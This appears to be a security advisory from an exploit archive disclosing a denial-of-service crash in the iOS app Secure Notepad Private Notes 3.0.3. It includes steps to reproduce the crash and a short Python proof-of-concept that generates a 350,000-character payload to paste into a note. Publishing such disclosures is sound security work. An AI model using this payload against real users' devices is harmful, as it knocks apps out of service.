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Secure Notepad Private Notes 3.0.3 Denial Of Service

Secure Notepad Private Notes 3.0.3 Denial Of Service
Posted Jun 14, 2021
Authored by Geovanni Ruiz

Secure Notepad Private Notes version 3.0.3 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | b7240ba2558cfc6e58ce3c2a24156ccd64f88a892b11adf2d1fa217a56ccdf4b

Secure Notepad Private Notes 3.0.3 Denial Of Service

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# Exploit Title: Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)
# Date: 06-14-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/secure-notepad-private-notes/id711178888
# Version: 3.0.3
# Category: DoS (iOS)

##### Vulnerability #####

Secure Notepad - Private Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

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